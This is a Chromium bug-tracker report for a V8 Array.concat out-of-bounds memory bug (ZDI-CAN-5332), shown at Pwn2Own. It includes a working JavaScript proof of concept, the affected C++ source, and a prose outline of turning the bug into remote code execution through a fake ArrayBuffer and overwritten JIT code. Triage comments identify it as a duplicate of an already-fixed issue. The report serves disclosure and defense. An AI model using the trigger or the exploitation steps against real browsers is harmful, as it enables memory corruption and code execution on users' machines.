Issue metadata
Sign in to add a comment
|
Security: [ZDI-CAN-5332] # v8 bug with Array concat |
||||||||||||||||||||||||
Issue description
This template is ONLY for reporting security bugs. If you are reporting a
Download Protection Bypass bug, please use the "Security - Download
Protection" template. For all other reports, please use a different
template.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com
/chromium/src/+/master/docs/security/faq.md
Please see the following link for instructions on filing security bugs:
https://www.chromium.org/Home/chromium-security/reporting-security-bugs
NOTE: Security bugs are normally made public once a fix has been widely
deployed.
VULNERABILITY DETAILS
Please provide a brief explanation of the security issue.
Google V8 JavaScript Array Concat Out of Bounds Access
The Bug
This is a array oob access bug in javascript Array.concat function. A simplified PoC looks like this:
try{
function gc(){
var arr = new Array;
for(var i=0;i<0x200000;i++)
arr.push(new String);
}
var proxy = new Proxy([], {
defineProperty() {
if(w.length !=1){
w.length = 1; // shorten the array so the backstore pointer is relocated
gc(); // force gc to move the array's elements backstore
}
return Object.defineProperty.apply(this, arguments);
}
});
class MyArray extends Array {
// custom constructor which returns a proxy object
static get[Symbol.species](){
return function() {
return proxy;
}
};
}
var w = new MyArray(10);
w[1] = 0.1;
w[2] = 0.1;
var result = Array.prototype.concat.call(w);
alert(result);
var isVulnerable = false;
if(result[0]!=undefined||result[1]!=0.1)
isVulnerable = true;
for (var i = 2; i < 20; i++) {
if(result[i]!=undefined)
isVulnerable = true;
}
if(!isVulnerable)
alert("result=safe");
else
alert("result=vulnerable");
}catch(e){
//there is no feature of class in low version chrome
alert("result=safe");
}
In the inner implementation of the concat function, each element of the parameter array will be visited. If we define a getter function on the "0" property of the Array prototype, our callback will get invoked when accessing arr[0]. Inside the callback function, if we set the length of the array to be another value, we are able to free the storage of the array.
However after returned from our callback function, the old length value will still be used in concat function, which causes the oob access issue. The rest elements are read from the alread freed memory and returned in the result array.
The source code related to the bug:
/**
* A helper function that visits "array" elements of a JSReceiver in numerical
* order.
*
* The visitor argument called for each existing element in the array
* with the element index and the element's value.
* Afterwards it increments the base-index of the visitor by the array
* length.
* Returns false if any access threw an exception, otherwise true.
*/
bool IterateElements(Isolate* isolate, Handle<JSReceiver> receiver,
ArrayConcatVisitor* visitor) {
uint32_t length = 0;
if (receiver->IsJSArray()) {
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
length = static_cast<uint32_t>(array->length()->Number());
} else {
Handle<Object> val;
Handle<Object> key = isolate->factory()->length_string();
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, val, Runtime::GetObjectProperty(isolate, receiver, key),
false);
ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, val,
Object::ToLength(isolate, val), false);
// TODO(caitp): Support larger element indexes (up to 2^53-1).
if (!val->ToUint32(&length)) {
length = 0;
}
// TODO(cbruni): handle other element kind as well
return IterateElementsSlow(isolate, receiver, length, visitor);
}
if (!HasOnlySimpleElements(isolate, *receiver)) {
return IterateElementsSlow(isolate, receiver, length, visitor);
}
Handle<JSObject> array = Handle<JSObject>::cast(receiver);
switch (array->GetElementsKind()) {
case FAST_SMI_ELEMENTS:
case FAST_ELEMENTS:
case FAST_HOLEY_SMI_ELEMENTS:
case FAST_HOLEY_ELEMENTS: {
// Run through the elements FixedArray and use HasElement and GetElement
// to check the prototype for missing elements.
Handle<FixedArray> elements(FixedArray::cast(array->elements()));
int fast_length = static_cast<int>(length);
DCHECK(fast_length <= elements->length());
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
Handle<Object> element_value(elements->get(j), isolate);
if (!element_value->IsTheHole()) {
if (!visitor->visit(j, element_value)) return false;
} else {
Maybe<bool> maybe = JSReceiver::HasElement(array, j);
if (!maybe.IsJust()) return false;
if (maybe.FromJust()) {
// Call GetElement on array, not its prototype, or getters won't
// have the correct receiver.
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element_value,
JSReceiver::GetElement(isolate, array, j), false);
if (!visitor->visit(j, element_value)) return false; -----------------------> this line will cause a callback to JavaScript
}
}
});
break;
}
case FAST_HOLEY_DOUBLE_ELEMENTS:
case FAST_DOUBLE_ELEMENTS: {
// Empty array is FixedArray but not FixedDoubleArray.
if (length == 0) break;
// Run through the elements FixedArray and use HasElement and GetElement
// to check the prototype for missing elements.
if (array->elements()->IsFixedArray()) {
DCHECK(array->elements()->length() == 0);
break;
}
Handle<FixedDoubleArray> elements(
FixedDoubleArray::cast(array->elements()));
int fast_length = static_cast<int>(length);
DCHECK(fast_length <= elements->length());
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
if (!elements->is_the_hole(j)) {
double double_value = elements->get_scalar(j);
Handle<Object> element_value =
isolate->factory()->NewNumber(double_value);
if (!visitor->visit(j, element_value)) return false;
} else {
Maybe<bool> maybe = JSReceiver::HasElement(array, j);
if (!maybe.IsJust()) return false;
if (maybe.FromJust()) {
// Call GetElement on array, not its prototype, or getters won't
// have the correct receiver.
Handle<Object> element_value;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element_value,
JSReceiver::GetElement(isolate, array, j), false);
if (!visitor->visit(j, element_value)) return false;
}
}
});
break;
}
case DICTIONARY_ELEMENTS: {
Handle<SeededNumberDictionary> dict(array->element_dictionary());
List<uint32_t> indices(dict->Capacity() / 2);
// Collect all indices in the object and the prototypes less
// than length. This might introduce duplicates in the indices list.
CollectElementIndices(array, length, &indices);
indices.Sort(&compareUInt32);
int n = indices.length();
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < n, (void)0, {
uint32_t index = indices[j];
Handle<Object> element;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element, JSReceiver::GetElement(isolate, array, index),
false);
if (!visitor->visit(index, element)) return false;
// Skip to next different index (i.e., omit duplicates).
do {
j++;
} while (j < n && indices[j] == index);
});
break;
}
case FAST_SLOPPY_ARGUMENTS_ELEMENTS:
case SLOW_SLOPPY_ARGUMENTS_ELEMENTS: {
FOR_WITH_HANDLE_SCOPE(
isolate, uint32_t, index = 0, index, index < length, index++, {
Handle<Object> element;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element, JSReceiver::GetElement(isolate, array, index),
false);
if (!visitor->visit(index, element)) return false;
});
break;
}
case NO_ELEMENTS:
break;
#define TYPED_ARRAY_CASE(Type, type, TYPE, ctype, size) case TYPE##_ELEMENTS:
TYPED_ARRAYS(TYPED_ARRAY_CASE)
#undef TYPED_ARRAY_CASE
return IterateElementsSlow(isolate, receiver, length, visitor);
case FAST_STRING_WRAPPER_ELEMENTS:
case SLOW_STRING_WRAPPER_ELEMENTS:
// |array| is guaranteed to be an array or typed array.
UNREACHABLE();
break;
}
visitor->increase_index_offset(length);
return true;
}
MUST_USE_RESULT bool visit(uint32_t i, Handle<Object> elm) {
uint32_t index = index_offset_ + i;
if (i >= JSObject::kMaxElementCount - index_offset_) {
set_exceeds_array_limit(true);
// Exception hasn't been thrown at this point. Return true to
// break out, and caller will throw. !visit would imply that
// there is already a pending exception.
return true;
}
if (!is_fixed_array()) {
LookupIterator it(isolate_, storage_, index, LookupIterator::OWN);
MAYBE_RETURN(
JSReceiver::CreateDataProperty(&it, elm, Object::THROW_ON_ERROR), ---------------> a callback to JavaScript occurred here
false);
return true;
}
if (fast_elements()) {
if (index < static_cast<uint32_t>(storage_fixed_array()->length())) {
storage_fixed_array()->set(index, *elm);
return true;
}
// Our initial estimate of length was foiled, possibly by
// getters on the arrays increasing the length of later arrays
// during iteration.
// This shouldn't happen in anything but pathological cases.
SetDictionaryMode();
// Fall-through to dictionary mode.
}
DCHECK(!fast_elements());
Handle<SeededNumberDictionary> dict(
SeededNumberDictionary::cast(*storage_));
// The object holding this backing store has just been allocated, so
// it cannot yet be used as a prototype.
Handle<SeededNumberDictionary> result =
SeededNumberDictionary::AtNumberPut(dict, index, elm, false);
if (!result.is_identical_to(dict)) {
// Dictionary needed to grow.
clear_storage();
set_storage(*result);
}
return true;
}
Exploit The Bug
To Exploit this bug, we need to trig the bug twice.
For the first time, we trig the bug to leak some memory data, and for the second time, we will use the leaked data to make a fake ArrayBuffer object to achieve arbitrary memory read/write.
Stege 1: Memory Leak
In this stage, we trig the bug and in our callback function, after the array storage is freed, we will try to allocate an ArrayBuffer in the freed array storage memory. So that by searching the returned array, we can leak the data of the ArrayBuffer.
By leaking the ArrayBuffer Object's Map Property and Element we can fake a JSArrayBuffer Object in an doulbe Array, the address of the array can be leaked in this step too.
Stage 2: Make Fake ArrayBuffer
Now we need to trig the bug again. This time, we just try to put the fake ArrayBuffer address (which is the ((array elements + 8) | 1)) in the freed array storage memory. So the concat function will wrongly treat it as an object and returns it in the result array.
Arbitrary Memory R/W
Because the fake ArrayBuffer object is in the backingstore, we have full control on it. Which means we can set the buffer of the fake ArrayObject to any address we want. This means we are able to read/write arbitrary memory.
Remote Code Execution
It's also easy to get RCE in chrome render process after we achieved arbitrary memory read/write. The easiest way to do so is to modified the JIT code of a JS function to our shellcode.
VERSION
Chrome Version: [x.x.x.x] + [stable, beta, or dev]
Operating System: [Please indicate OS, version, and service pack level]
REPRODUCTION CASE
Reproduced and demo'd at MobilePwn2Own 2017
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: [tab, browser, etc.]
Crash State: [see link above: stack trace *with symbols*, registers,
exception record]
Client ID (if relevant): [see link above]
,
Jan 23 2018
jkummerow: Can you please take a look? Thanks.
,
Jan 24 2018
Can we get any more information on which Chrome/V8 versions are affected by this? It looks like a dupe of issue 682194 , which was fixed almost exactly a year ago by https://codereview.chromium.org/2655623004. The regression test included in that CL looks a lot like the exploit posted above, and the changes added in that CL are what's preventing the exploit from working. According to https://blog.trendmicro.com/tippingpoint-threat-intelligence-zero-day-coverage-week-november-6-2017/, ZDI-CAN-5332 was an exploit in the Samsung Browser. Are they simply behind on updating their V8 version?
,
Jan 24 2018
This is from b/68767524, but that bug doesn't mention affected versions either. Would you be able to comment on that bug?
,
Jan 24 2018
Comments on the internal bug indicate that this is indeed a resubmission.
,
May 3 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||||
Comment 1 by awhalley@google.com
, Jan 23 2018